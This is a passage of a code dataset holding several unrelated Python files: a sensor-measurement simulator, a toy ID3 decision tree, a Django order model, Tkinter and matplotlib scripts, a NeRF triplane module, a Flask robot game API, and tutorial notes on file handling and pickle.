sklearn.metrics import mean_absolute_error\n\n# General-purpose Simulator Modules\nfrom simulator.simulation_environment import SimulationEnvironment\n\n# Simulator Components\nfrom simulator.components.sensor import Sensor\nfrom simulator.components.topology import Topology\n\n# Heuristic Algorithms\nfrom simulator.heuristics.proposed_heuristic import proposed_heuristic\nfrom simulator.heuristics.first_fit_proposal import first_fit_proposal\nfrom simulator.heuristics.knn import knn\nfrom simulator.heuristics.idw import idw\n\nVERBOSITY = 1\n\n\nclass Simulator:\n \"\"\"This class allows the creation objects that\n control the whole life cycle of simulations.\n \"\"\"\n\n environment = None\n dataset = None\n\n @classmethod\n def load_dataset(cls, target, metric, formatting=\"INMET-BR\"):\n \"\"\"Loads data from input files and creates a topology with sensor objects.\n\n target : string\n String representing a CSV file or a directory containing a list of CSV files\n\n formatting : string\n Information on the type of formatting needs to be performed to load the dataset\n \"\"\"\n\n # Storing the dataset name\n Simulator.dataset = target\n\n topo = Topology()\n\n data = os.listdir(\"data\")\n\n if target not in data:\n raise Exception(\"Invalid input target.\")\n\n else:\n # Checking if the passed argument represents a CSV file or a directory.\n # In case the argument points to a CSV file, loads the data directly.\n # Otherwise, it assumes the argument denotes a directory containing a\n # list of CSV files that will be merged as part of a single dataset.\n if \".csv\" in target:\n print(f\"CSV input file: {target}\")\n\n elif \".json\" in target:\n print(f\"JSON input file: {target}\")\n\n elif formatting == \"INMET-BR\":\n dataset = Simulator.parse_dataset_inmet_br(target=target, metric=metric)\n else:\n raise Exception(\"Invalid dataset.\")\n\n # Adding sensors to the NetworkX topology\n for data in dataset:\n Sensor(\n coordinates=data[\"coordinates\"],\n type=\"physical\",\n timestamps=data[\"timestamps\"],\n measurements=data[\"measurements\"],\n alias=data[\"alias\"],\n )\n\n @classmethod\n def parse_dataset_inmet_br(cls, target, metric):\n \"\"\"Parse data following the format adopted by the\n Brazilian National Institute of Meteorology (INMET).\n\n Parameters\n ==========\n target : String\n List of files or directory containing the dataset\n\n Returns\n =======\n dataset : List\n Parsed dataset\n \"\"\"\n\n dataset = []\n\n files = [file for file in os.listdir(f\"data/{target}\") if \".csv\" in file.lower()]\n\n for file in files:\n\n sensor = {}\n\n with open(f\"data/{target}/{file}\", newline=\"\", encoding=\"ISO-8859-1\") as csvfile:\n content = list(csv.reader(csvfile, delimiter=\";\", quotechar=\"|\"))\n\n # Parsing basic attributes\n latitude = float(re.sub(\",\", \".\", content[4][1])) if len(content[4][1]) > 0 else None\n longitude = float(re.sub(\",\", \".\", content[5][1])) if len(content[5][1]) > 0 else None\n sensor[\"coordinates\"] = (latitude, longitude)\n sensor[\"alias\"] = content[2][1]\n\n # Converting part of the CSV with data measurements to a pandas dataframe to ease manipulation\n starting_row = 1449\n ending_row = starting_row + 23\n raw_measurements = pd.DataFrame(content[starting_row : starting_row + ending_row])\n raw_measurements.columns = content[8] # Defining the dataframe header with names of each column\n\n # Removing rows with missing values\n raw_measurements[metric].replace(\"\", np.nan, inplace=True)\n raw_measurements.dropna(subset=[metric], inplace=True)\n\n # Parsing sensor measurements\n sensor[\"measurements\"] = [\n float(re.sub(\",\", \".\", measurement)) for measurement in list(raw_measurements[metric])\n ]\n\n # Parsing measurement timestamps\n dates = list(raw_measurements[\"Data\"])\n hours = list(raw_measurements[\"Hora UTC\"])\n sensor[\"timestamps\"] = [\n datetime.strptime(f\"{dates[i]} {hours[i][0:4]}\", \"%Y/%m/%d %H%M\") for i in range(0, len(dates))\n ]\n\n dataset.append(sensor)\n\n return dataset\n\n @classmethod\n def run(cls, steps, metric, algorithm, sensors, neighbors):\n \"\"\"Starts the simulation.\n\n Parameters\n ==========\n steps : int\n Number of simulation steps\n\n metric : string\n Metric to be inferred\n\n algorithm : string\n Heuristic algorithm that will be executed\n\n sensors : int\n Number of virtual sensors whose measurements will be inferred\n\n neighbors : int\n Number of nearest neighbor sensors that can be used to estimate the value of a virtual sensor\n \"\"\"\n\n # Creating a simulation environment\n Simulator.environment = SimulationEnvironment(\n steps=int(steps), dataset=Simulator.dataset, metric=metric, heuristic=algorithm\n )\n\n # Informing the simulation environment what's the heuristic will be executed\n Simulator.environment.heuristic = algorithm\n\n # Starting the simulation\n Simulator.environment.run(\n sensors=sensors, heuristic=Simulator.heuristic(algorithm=algorithm), neighbors=neighbors\n )\n\n @classmethod\n def heuristic(cls, algorithm):\n \"\"\"Checks if the heuristic informed by the user is valid\n and passes it as a parameter to the simulation environment.\n\n Parameters\n ==========\n algorithm : string\n Heuristic algorithm that will be executed\n\n Returns\n =======\n heuristic : function\n Function that accommodates the heuristic algorithm that will be executed\n \"\"\"\n\n if algorithm == \"proposed_heuristic\":\n Simulator.environment.heuristic = \"Proposed Heuristic\"\n return proposed_heuristic\n elif algorithm == \"first_fit_proposal\":\n Simulator.environment.heuristic = \"Proposed Heuristic (Simplified Version)\"\n return first_fit_proposal\n elif algorithm == \"knn\":\n Simulator.environment.heuristic = \"k-Nearest Neighbors\"\n return knn\n elif algorithm == \"idw\":\n Simulator.environment.heuristic = \"Inverse Distance Weighting\"\n return idw\n else:\n raise Exception(\"Invalid heuristic algorithm.\")\n\n @classmethod\n def show_output(cls, output_file):\n \"\"\"Exhibits the simulation results.\n\n Parameters\n ==========\n output_file : string\n Name of the output file containing the simulation results\n \"\"\"\n\n metrics_by_sensor = []\n\n for sensor in Simulator.environment.virtual_sensors:\n\n # Initializing a dictionary that will centralize all metrics from the sensor\n sensor_metrics = {\n \"sensor\": sensor,\n \"real_measurements\": [],\n \"inferences\": [],\n \"timestamps\": [],\n \"rmse\": None,\n \"mae\": None,\n }\n\n # Collecting real measurements and inferences from the sensor in each step\n for step in Simulator.environment.metrics:\n metrics = next(metrics for metrics in step[\"measurements\"] if metrics[\"sensor\"] == sensor.id)\n sensor_metrics[\"timestamps\"].append(metrics[\"timestamp\"])\n sensor_metrics[\"real_measurements\"].append(metrics[\"real_measurement\"])\n sensor_metrics[\"inferences\"].append(metrics[\"inference\"])\n\n # Calculating accuracy metrics for the sensor inferences\n sensor_metrics[\"rmse\"] = mean_squared_error(\n sensor_metrics[\"real_measurements\"],\n sensor_metrics[\"inferences\"],\n squared=False,\n )\n sensor_metrics[\"mae\"] = mean_absolute_error(\n sensor_metrics[\"real_measurements\"], sensor_metrics[\"inferences\"]\n )\n\n # Adding sensor metrics to the list of metrics of all sensors\n metrics_by_sensor.append(sensor_metrics)\n\n list_of_rmse_results = []\n list_of_mae_results = []\n\n if VERBOSITY >= 2:\n print(\"=== METRICS BY SENSOR ===\")\n for sensor_metrics in metrics_by_sensor:\n if VERBOSITY >= 2:\n print(f'Sensor_{sensor_metrics[\"sensor\"]}')\n print(\n f' Real Measurements ({len(sensor_metrics[\"real_measurements\"])}): {sensor_metrics[\"real_measurements\"]}'\n )\n print(\n f' Inferences ({len(sensor_metrics[\"inferences\"])}): {[round(inference, 1) for inference in sensor_metrics[\"inferences\"]]}'\n )\n print(f' Root Mean Squared Error (RMSE): {sensor_metrics[\"mse\"]}')\n print(f' Mean Absolute Error (MAE): {sensor_metrics[\"mae\"]}')\n\n list_of_rmse_results.append(sensor_metrics[\"rmse\"])\n list_of_mae_results.append(sensor_metrics[\"mae\"])\n\n stdev_rmse = statistics.stdev(list_of_rmse_results)\n stdev_mae = statistics.stdev(list_of_mae_results)\n rmse = sum(list_of_rmse_results) / len(list_of_rmse_results)\n mae = sum(list_of_mae_results) / len(list_of_mae_results)\n\n if VERBOSITY >= 1:\n print(\"=== OVERALL RESULTS ===\")\n print(f\"Heuristic: {Simulator.environment.heuristic}\")\n print(f\"Metric: {Simulator.environment.metric}\")\n print(f\"Sensors: {[sensor.id for sensor in Simulator.environment.virtual_sensors]}\")\n\n if VERBOSITY >= 2:\n print(\"Raw Results:\")\n print(f\" RMSE: {list_of_rmse_results}\")\n print(f\" MAE: {list_of_mae_results}\")\n\n print(\"Summary:\")\n print(f\" Root Mean Squared Error (RMSE): {rmse}\")\n print(f\" Mean Absolute Error (MAE): {mae}\")\n\n if VERBOSITY >= 2:\n print(f\" Standard Deviation RMSE: {stdev_rmse}\")\n print(f\" Standard Deviation MAE: {stdev_mae}\")\n\n Topology.first().draw(showgui=False, savefig=True)\n","repo_name":"paulosevero/virtual-sensors-triangulation","sub_path":"simulator/simulator.py","file_name":"simulator.py","file_ext":"py","file_size_in_byte":10959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8279084861","text":"#ID3决策树只能接收“定性值”作为特征\n\nimport pandas as pd\nimport numpy as np\nfrom math import log\n\n'''\ndef load():\n\ta = pd.DataFrame([\t[ 0.5, 0.5 ],\n\t\t\t\t\t\t[ 0.7, 0.3 ],\n\t\t\t\t\t\t[ 2.3, 1.5 ],\n\t\t\t\t\t\t[ 2.8, 1.0 ] ])\n\tb = pd.Series([ 2, 2, 3, 3 ])\n\t\n\tc = pd.DataFrame([\t[ 1.0, 0.1 ],\n\t\t\t\t\t\t[ 2.0, 2.2 ],\n\t\t\t\t\t\t[ 0.3, 0.5 ],\n\t\t\t\t\t\t[ 3.5, 2.0 ] ])\n\td = pd.Series([ 2, 3, 2, 3 ])\n\t\n\treturn a,b,c,d\n'''\ndef load():\n\ta = pd.DataFrame([\t[ 1, 1 ],\n\t\t\t\t\t\t[ 1, 3 ],\n\t\t\t\t\t\t[ 2, 1 ],\n\t\t\t\t\t\t[ 2, 2 ],\n\t\t\t\t\t\t[ 2, 4 ],\n\t\t\t\t\t\t[ 5, 3 ],\n\t\t\t\t\t\t\n\t\t\t\t\t\t[ 3, 2 ],\n\t\t\t\t\t\t[ 3, 3 ],\n\t\t\t\t\t\t[ 4, 1 ],\n\t\t\t\t\t\t[ 4, 3 ],\n\t\t\t\t\t\t[ 1, 4 ],\n\t\t\t\t\t\t[ 4, 4 ]\t], \n\t\t\t\t\t\tindex=list('qwertyuiop[]'), columns=['m','n'])\n\t\n\tb = pd.Series([\t'a', 'a', 'a', 'a', 'a', 'a',\n\t\t\t\t\t'b', 'b', 'b', 'b', 'b', 'b' ], \n\t\t\t\t\tindex=list('qwertyuiop[]'))\n\t\n\tc = pd.DataFrame([\t[ 1, 2 ],\n\t\t\t\t\t\t[ 4, 2 ] ], columns=['m','n'])\n\t\n\td = pd.Series([ 'a', 'b' ])\n\t\n\treturn a,b,c,d\n\t\nx_train, y_train, x_vali, y_vali = load()\n\nx,y=x_train,y_train\n\ndef entropy(s):\n\ts_times = s.value_counts()\n\tp = s_times.apply(float) / s_times.sum()\n\tlog_p = p.apply(log, args=(2,))\n\tH = (-1) * sum( p * log_p )\n\treturn H\t\t\n\ndef create_tree(x, y):\n\tif x.shape[1] == 1:\n\t\treturn y.value_counts().idxmax()\n\tif len(y.unique()) == 1:\n\t\treturn y.unique()[0]\n\n\tHs = x.apply(entropy, axis=0)\n\tbest_feature = Hs.idxmax()\n\ttree = { best_feature: {} }\n\t\n\tfor i in x[ best_feature ].unique():\n\t\tx_new = x[ x[ best_feature ] == i ]\n\t\ty_new = y[ x[ best_feature ] == i ]\n\t\tx_new = x_new.drop( best_feature, axis=1 )\n\t\t\n\t\ttree [ best_feature ] [ i ] = create_tree(x_new, y_new)\n\treturn tree\n\ndef predict_series(s, tree):\n\ttree_new = tree.copy()\n\twhile type(tree_new) == dict :\n\t\tcolumn = tree_new.keys()[0]\n\t\ttree_new = tree_new [column] [ s[column] ]\n\treturn tree_new\n\ndef predict_fun(x, tree):\n\t#y = x.T.apply( predict_series, args=(tree,) )\n\ty = []\n\tfor i in x.index:\n\t\ts = x.loc[i,:]\n\t\ty += predict_series(s, tree)\t\n\treturn pd.Series(y)\n\nclass DT_classifier:\n\tdef fit(self, x, y):\n\t\tself.tree = create_tree(x, y)\t\n\tdef predict(self, x):\n\t\treturn predict_fun(x, self.tree)\t\n\t\t\n\t\t\nclf = DT_classifier()\nclf.fit(x_train, y_train)\t\t\ny_pred = clf.predict(x_vali)\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t#def predict(self, x):\n","repo_name":"XuJianzhi/Make_Wheels_of_ML_By_Myself","sub_path":"lunzi_DT.py","file_name":"lunzi_DT.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"35932771744","text":"from django.db import models\nfrom user.models import Khach_hang\nfrom product.models import San_pham\n\n# Create your models here.\n\nclass Don_dat_hang(models.Model):\n khach_hang = models.ForeignKey(Khach_hang, on_delete= models.CASCADE,default=None)\n san_pham = models.ForeignKey(San_pham, on_delete= models.CASCADE,default=None)\n so_luong = models.IntegerField(default=0)\n ngay_dat = models.DateField(default=None)\n ngay_giao = models.DateField(default=None)\n so_luong = models.IntegerField(default=0)\n tinh_trang = models.CharField(default=\"\", max_length = 50)\n hinh_thuc_thanh_toan = models.CharField(default=\"\", max_length = 100)","repo_name":"dvhata/WebCSDL_CovidShopping","sub_path":"order/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"37531925636","text":"# Impoting tkinter4\nimport sys\nimport os\nfrom tkinter import *\nfrom PIL import ImageTk, Image\nimport tkinter as tk\nfrom tkinter.scrolledtext import ScrolledText\nfrom tkinter import messagebox\nimport random\nfrom datetime import datetime\nfrom tkinter import filedialog\nfrom GUI.login import l\n\n# Welcome class\nclass welcome():\n def __init__(self):\n print(\"\")\n pass\n\n# Home func \n def refresh(self,h):\n h.destroy()\n welcome().home()\n pass\n\n # Welcome frame\n def home(self):\n # home window\n h=Tk()\n h.title(\"AMS\")\n h.configure(background='purple')\n h.geometry(\"1200x700+170+80\")\n h.maxsize(1200,700)\n h.minsize(1200,700)\n \n # Frame 1\n f1 = Frame(h,width=190,height=680,bg='orange')\n f1.place(x=10,y=10)\n # Home button\n hom = Button(f1,text=\"Home\",bg='orange',relief='flat',underline=0,command=lambda:self.refresh(h),font=('roboto',15,'bold'))\n hom.place(x=85,y=40)\n # Login button\n log = Button(f1,text=\"Login\",bg='orange',relief='flat',underline=0,command=lambda:l().login(h),font=('roboto',15,'bold'))\n log.place(x=85,y=460)\n #close button\n cls = Button(f1,text=\"Close\",bg='orange',relief='flat',underline=0,command=lambda:h.destroy(),font=('roboto',15,'bold'))\n cls.place(x=85,y=500)\n \n # Frame 2\n f2 = Frame(h,width=980,height=130,bg='lightyellow')\n f2.place(x=210,y=10)\n # Heading label\n l2 = Label(f2,text=\"Welcome to AMS\",fg='black',bg='lightyellow',font=('roboto',50,'bold'))\n l2.place(x=220,y=35)\n \n # Frame 3\n f3 = Frame(h,width=980,height=530,bg='lightblue')\n f3.place(x=210,y=160)\n path=os.path.abspath('.')+\"/src/GUI/Aqua.png\"\n img=Image.open(path)\n img = img.resize((980, 530), Image. ANTIALIAS)\n img = ImageTk.PhotoImage(img)\n label = tk.Label(f3, image = img)\n label.place(x=0,y=0)\n h.mainloop()\n","repo_name":"ucantfindme/Aqua","sub_path":"src/GUI/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"70376449823","text":"from __future__ import (absolute_import, division, print_function)\nfrom logging import getLogger\n\nLOGGER = getLogger(__name__)\n\n\nclass CrossBorderException(Exception):\n pass\n\n\nclass LatLonBox(object):\n lat1 = None\n lat2 = None\n lon1 = None\n lon2 = None\n\n def __init__(self, distance):\n self.distance = distance\n\n def add_point(self, lat, lon):\n if self.lat1 is None:\n self.lat1 = lat - self.distance\n self.lat2 = lat + self.distance\n self.lon1 = lon - self.distance\n self.lon2 = lon + self.distance\n else:\n self.lat1 = min(self.lat1, lat - self.distance)\n self.lat2 = max(self.lat2, lat + self.distance)\n self.lon1 = min(self.lon1, lon - self.distance)\n self.lon2 = max(self.lon2, lon + self.distance)\n\n if self.lat1 < -90 or self.lat2 > 90 or self.lon1 < -180 or self.lon2 > 180:\n raise CrossBorderException()\n\n def __str__(self):\n return \"[%s, %s, %s, %s]\" % (self.lat1, self.lon1, self.lat2, self.lon2)\n\n\ndef get_combined_locations(points, distance):\n \"\"\"\n Given a set of points and a distance, return a reasonable set of\n bounding areas covering everything within that distance of any point.\n \"\"\"\n # Very simple implementation, try to draw a box around all points\n box = LatLonBox(distance)\n\n if not points:\n return []\n\n for lat, lon in points:\n box.add_point(lat, lon)\n LOGGER.info(\"Combined points into: %s\", box)\n return [box]\n","repo_name":"iris-edu/pyweed","sub_path":"pyweed/dist_from_events.py","file_name":"dist_from_events.py","file_ext":"py","file_size_in_byte":1536,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"7"} +{"seq_id":"36766356930","text":"import numpy\nimport matplotlib.pyplot\n\n# Load data\ndata = numpy.loadtxt(fname='inflammation-01.csv', delimiter=',')\n# Make Figure\nfig = matplotlib.pyplot.figure(figsize=(5.0, 7.0))\n\n# Create subplot in 3 rows and 1 column\naxes1 = fig.add_subplot(3, 1, 1)\naxes2 = fig.add_subplot(3, 1, 2)\naxes3 = fig.add_subplot(3, 1, 3)\n\naxes1.set_ylevel('average')\naxes1.plot(data.mean(axis-0))\n\naxes2.set_ylevel('max')\naxes2.plot(data.max(axis-0))\n\naxes3.set_ylevel('min')\naxes3.plot(data.min(axis-0))\n\nfig.tight_layout()\n\nmatplotlib.pyplot.savefig('plot.png')\n\n","repo_name":"nova1217/Pythone-Project","sub_path":"pythonProject/Problem1.py","file_name":"Problem1.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"7700890733","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport tinycudann as tcnn\nimport math\n\nEPS = 1e-3\n\nclass TriPlane(nn.Module):\n def __init__(self, features=32, resX=256, resY=256, resZ=256):\n super().__init__()\n self.plane_xy = nn.Parameter(torch.randn(1, features, resX, resY))\n self.plane_xz = nn.Parameter(torch.randn(1, features, resX, resZ))\n self.plane_yz = nn.Parameter(torch.randn(1, features, resY, resZ))\n self.dim = features\n self.n_input_dims = 3\n self.n_output_dims = 3 * features\n\n def forward(self, x):\n assert x.max() <= 1 + EPS and x.min() >= -EPS, f\"x must be in [0, 1], got {x.min()} and {x.max()}\"\n x = x * 2 - 1\n shape = x.shape\n coords = x.reshape(1, -1, 1, 3)\n # align_corners=True ==> the extrema (-1 and 1) considered as the center of the corner pixels\n # F.grid_sample: [1, C, H, W], [1, N, 1, 2] -> [1, C, N, 1]\n feat_xy = F.grid_sample(self.plane_xy, coords[..., [0, 1]], align_corners=True)[0, :, :, 0].transpose(0, 1)\n feat_xz = F.grid_sample(self.plane_xz, coords[..., [0, 2]], align_corners=True)[0, :, :, 0].transpose(0, 1)\n feat_yz = F.grid_sample(self.plane_yz, coords[..., [1, 2]], align_corners=True)[0, :, :, 0].transpose(0, 1)\n feat = torch.cat([feat_xy, feat_xz, feat_yz], dim=1)\n feat = feat.reshape(*shape[:-1], 3 * self.dim)\n return feat\n\nclass NeRFNGPNet(nn.Module):\n def __init__(self, opt):\n super().__init__()\n\n self.encoder = TriPlane(32, 256, 256, 256)\n self.sigma_net = tcnn.Network(\n n_input_dims=self.encoder.n_output_dims,\n n_output_dims=16,\n network_config={\n \"otype\": \"FullyFusedMLP\",\n \"activation\": \"ReLU\",\n \"output_activation\": \"None\",\n \"n_neurons\": 64,\n \"n_hidden_layers\": 1,\n }\n )\n\n self.color_net = tcnn.Network(\n n_input_dims=15,\n n_output_dims=3,\n network_config={\n \"otype\": \"FullyFusedMLP\",\n \"activation\": \"ReLU\",\n \"output_activation\": \"Sigmoid\",\n \"n_neurons\": 64,\n \"n_hidden_layers\": 2,\n },\n )\n self.register_buffer(\"center\", torch.FloatTensor(opt.center))\n self.register_buffer(\"scale\", torch.FloatTensor(opt.scale))\n self.opt = opt\n\n def initialize(self, bbox):\n if hasattr(self, \"bbox\"):\n return\n c = (bbox[0] + bbox[1]) / 2\n s = (bbox[1] - bbox[0])\n self.center = c\n self.scale = s\n self.bbox = bbox\n\n def forward(self, x, d, cond=None):\n # normalize pts and view_dir to [0, 1]\n x = (x - self.center) / self.scale + 0.5\n # assert x.min() >= 0 and x.max() <= 1\n x = x.clamp(min=0, max=1)\n x = self.encoder(x)\n x = self.sigma_net(x)\n sigma = x[..., 0].float()\n color = self.color_net(x[..., 1:]).float()\n return color, sigma","repo_name":"tijiang13/InstantAvatar","sub_path":"instant_avatar/models/networks/triplane.py","file_name":"triplane.py","file_ext":"py","file_size_in_byte":3073,"program_lang":"python","lang":"en","doc_type":"code","stars":250,"dataset":"github-code","pt":"7"} +{"seq_id":"42686057003","text":"from database import Dinosaur, Game, Robot, db\nfrom flask import Blueprint, jsonify, Response, request\nimport json\n\n\napi = Blueprint(__name__, 'rest_api_robot')\n\n\n@api.route('/api/robot', methods=['GET'])\ndef get_robot() -> Response:\n if request.method.lower() == 'get':\n robot_id = None\n\n try:\n # Try to get robot id and robot game id from request arguments:\n for param in ['id', 'game_id']:\n if param in [*request.args.keys()]:\n robot_id = request.args[param]\n\n if robot_id is None:\n raise KeyError\n\n except KeyError:\n return jsonify({\n 'status': 'error',\n 'message': 'You must indicate the id of the robot as a parameter.',\n })\n\n # Try to get the robot by id:\n robot = Robot.query.get(robot_id)\n if not robot:\n return jsonify({\n 'status': 'error',\n 'message': 'Robot ' + str(robot_id) + ' not found.'\n })\n\n return jsonify({\n \"id\": robot.id,\n \"game_id\": robot.game_id,\n \"X\": robot.X,\n \"Y\": robot.Y,\n })\n\n\n@api.route('/api/robot/move', methods=['GET'])\ndef move_robot() -> Response:\n if request.method.lower() == 'get':\n required_params = ['id', 'direction']\n params = [*request.args.keys()]\n\n # If there is a missing parameter, it returns an error: \n if any([not param in params for param in required_params]):\n return jsonify({\n 'status': 'error',\n 'message': 'You must indicate the id of the robot, and the direction to which it will move as parameters.',\n })\n\n # Try to get the robot by id\n robot_id = request.args['id']\n robot = Robot.query.get(robot_id)\n if not robot:\n return jsonify({\n 'status': 'error',\n 'message': 'Robot ' + str(robot_id) + ' not found.',\n })\n\n # Get the robot game:\n game = Game.query.get(robot.game_id)\n\n # Get game dinosaurs:\n dinosaurs = json.loads(game.dinosaurs)\n\n # Change the position of the robot:\n # Get max x and max y position:\n max_x = game.grid_columns - 1\n max_y = game.grid_rows - 1\n\n direction = request.args['direction']\n if direction == 'left' and robot.X > 0:\n for dinosaur in dinosaurs:\n if robot.X - 1 == dinosaurs[dinosaur]['X'] and \\\n robot.Y == dinosaurs[dinosaur]['Y']:\n return jsonify({\n 'status': 'error',\n 'message': 'The space to which the robot was tried to move is already being occupied.',\n })\n\n robot.X -= 1\n elif direction == 'right' and robot.X < max_x:\n for dinosaur in dinosaurs:\n if robot.X + 1 == dinosaurs[dinosaur]['X'] and \\\n robot.Y == dinosaurs[dinosaur]['Y']:\n return jsonify({\n 'status': 'error',\n 'message': 'The space to which the robot was tried to move is already being occupied.',\n })\n\n robot.X += 1\n elif direction == 'front' and robot.Y > 0:\n for dinosaur in dinosaurs:\n if robot.Y - 1 == dinosaurs[dinosaur]['Y'] and \\\n robot.X == dinosaurs[dinosaur]['X']:\n return jsonify({\n 'status': 'error',\n 'message': 'The space to which the robot was tried to move is already being occupied.',\n })\n\n robot.Y -= 1\n elif direction == 'behind' and robot.Y < max_y:\n for dinosaur in dinosaurs:\n if robot.Y + 1 == dinosaurs[dinosaur]['Y'] and \\\n robot.X == dinosaurs[dinosaur]['X']:\n return jsonify({\n 'status': 'error',\n 'message': 'The space to which the robot was tried to move is already being occupied.',\n })\n\n robot.Y += 1\n else:\n return jsonify({\n 'status': 'error',\n 'message': 'Invalid direction.',\n })\n\n # Save changes:\n db.session.commit()\n\n return jsonify({\n 'status': 'success',\n 'message': 'The robot has been moved successfully.',\n })\n\n\n@api.route('/api/robot/attack', methods=['GET'])\ndef robot_attack() -> Response:\n if request.method.lower() == 'get':\n allowed_params = ['id', 'game_id']\n params = [*request.args.keys()]\n\n # If there is a missing parameter, it returns an error:\n if not any([param in params for param in allowed_params]):\n return jsonify({\n 'status': 'error',\n 'message': 'You must indicate the id of the robot or the id of its game.',\n })\n\n # Try to get the robot by id\n robot_id = request.args['id'] if 'id' in params else request.args['game_id']\n robot = Robot.query.get(robot_id)\n if not robot:\n return jsonify({\n 'status': 'error',\n 'message': 'Robot ' + str(robot_id) + ' not found.',\n })\n\n # Get game of the robot:\n game = Game.query.get(robot.game_id)\n\n # Get dinosaurs around the robot:\n removed_dinosaurs_id = []\n dinosaurs = json.loads(game.dinosaurs)\n\n # Delete dinosaurs around\n for dinosaur_id in dinosaurs:\n dino_position = dinosaurs[dinosaur_id]\n\n if dino_position['X'] + 1 == robot.X and dino_position['Y'] == robot.Y or \\\n dino_position['X'] - 1 == robot.X and dino_position['Y'] == robot.Y or \\\n dino_position['Y'] + 1 == robot.Y and dino_position['X'] == robot.X or \\\n dino_position['Y'] - 1 == robot.Y and dino_position['X'] == robot.X:\n # Append the id of the dinosaur for remove it later from the game dinosaurs json:\n removed_dinosaurs_id.append(dinosaur_id)\n\n # Delete dino in database\n db.session.delete(Dinosaur.query.get(dinosaur_id))\n\n for removed_dinosaur_id in removed_dinosaurs_id:\n # Delete dinosaur from game dinosaurs json:\n del dinosaurs[removed_dinosaur_id]\n\n # Reset game dinosaurs json:\n game.dinosaurs = json.dumps(dinosaurs)\n\n # Save changes\n db.session.commit()\n\n return jsonify({\n 'status': 'success',\n 'message': 'Dinosaurs around the robot has been removed successfully.',\n })\n","repo_name":"EziOzoani/RobotvDino","sub_path":"blueprints/rest_api_robot.py","file_name":"rest_api_robot.py","file_ext":"py","file_size_in_byte":6770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43234459234","text":"# Saving data to files\n\n\"\"\"\nman = []\nother = []\n\ntry:\n\tdata = open('sketch.txt')\n\tfor each_line in data:\n\t\ttry:\n\t\t\t(role, line_spoken) = each_line.split(':', 1)\n\t\t\tline_spoken = line_spoken.strip()\n\t\t\tif role == 'Man':\n\t\t\t\tman.append(line_spoken)\n\t\t\telif role == 'Other Man':\n\t\t\t\tother.append(line_spoken)\n\t\texcept ValueError:\n\t\t\tpass\n\tdata.close()\nexcept IOError:\n\tprint('The datafile is missing!')\n\nprint(man)\nprint(other)\n\"\"\"\n\n# Open your file in write mode\n\nout = open(\"data.out\", \"w\")\nprint(\"Norwegian Blues stun easily.\", file=out)\nout.close()\n\nman = []\nother = []\n\ntry:\n\tdata = open('sketch.txt')\n\tfor each_line in data:\n\t\ttry:\n\t\t\t(role, line_spoken) = each_line.split(':', 1)\n\t\t\tline_spoken = line_spoken.strip()\n\t\t\tif role == 'Man':\n\t\t\t\tman.append(line_spoken)\n\t\t\telif role == 'Other Man':\n\t\t\t\tother.append(line_spoken)\n\t\texcept ValueError:\n\t\t\tpass\n\tdata.close()\nexcept IOError:\n\tprint('The datafile is missing!')\n\n\"\"\"\ntry:\n\tman_data = open('man_data.txt', 'w')\n\tother_data = open('other_data.txt', 'w')\n\n\tprint(man, file=man_data)\n\tprint(other, file=other_data)\n\t\n\t# If Crash here!\n\t# blow two lines of code DON'T get to run.\t\n\tman_data.close()\n\tother_data.close()\n\nexcept IOError:\n\tprint('File Error!')\n\"\"\"\n\n# Files are left open after an exception!\n\n# Extend try with finally\n# when you have a situation where code must always run no matter what errors occurs,\n# add that code to your try statement's finally suite:\n\n\"\"\"\ntry:\n\tman_data = open('man_data.txt', 'w')\n\tother_data = open('other_data.txt', 'w')\n\n\tprint(man, file=man_data)\n\tprint(other, file=other_data)\n\nexcept IOError:\n\tprint('File Error!')\n\nfinally:\n\tif 'man_file' in locals():\n\t\tman_data.close()\n\tif 'other_file' in locals():\n\t\tother_data.close()\n\"\"\"\n\n\n# Knowing the type of error is not enough\n\n\"\"\"\ntry:\n\tdata = open('missing.txt')\n\tprint(data.readline(), end='')\nexcept IOError as err:\n\tprint('File error: ' + str(err))\nfinally:\n\tif 'data' in locals():\n\t\tdata.close()\n\"\"\"\n\n\n# Use with to work with files\n\ntry:\n\twith open('its.txt', \"w\") as data:\n\t\tprint(\"It's...\", file=data)\nexcept IOError as err:\n\tprint('File error: ' + str(err))\n\n# The with statement takes advantage of a Python technology called the context management protocol.\n\ntry:\n\twith open('man_data.txt', 'w') as man_data:\n\t\tprint(man, file=man_data)\n\t\n\twith open('other_data.txt', 'w') as other_data:\n\t\tprint(other, file=other_data)\n\nexcept IOError as err:\n\tprint('File Error: ' + str(err))\n\n\n# Defualt formats are unsuitable for files\n\n\"\"\"\nwith open('man_data.txt') as mdf:\n\tprint(mdf.readline())\n\"\"\"\n# no need to close your file, because 'with' does that for you.\n\n\n# Why not modify print_lol()?\n\nval = [\"ansxodbs\", \"rlawltn\", [\"mom\", \"dad\", [\"you\", \"and\", \"i\"]]]\n\nimport sys\ndef print_lol(the_list, indent=False, level=0, fh=sys.stdout):\n\tfor each_item in the_list:\n\t\tif isinstance(each_item, list):\n\t\t\tprint_lol(each_item, indent, level+1, fh)\n\t\telse:\n\t\t\tif indent:\n\t\t\t\tfor tab_stop in range(level):\n\t\t\t\t\tprint(\"\\t\", end='', file=fh)\n\t\t\tprint(each_item, file=fh)\n\n#print_lol(val, True, 0)\n\n\n# Pickle your data\n# Python ships with a standard library called pickle, which can save and load almost any Python data object, including lists.\n\n# Save with dump and restore with load\n\"\"\"\nusing pickle is straightforward: import the required module, then use dump() to save your data and, some time later,\nload() to restore it. The only requirement when working with pickled files is that they have to be opened in binary access mode:\n\"\"\"\n\nimport pickle\n\ntry:\n\twith 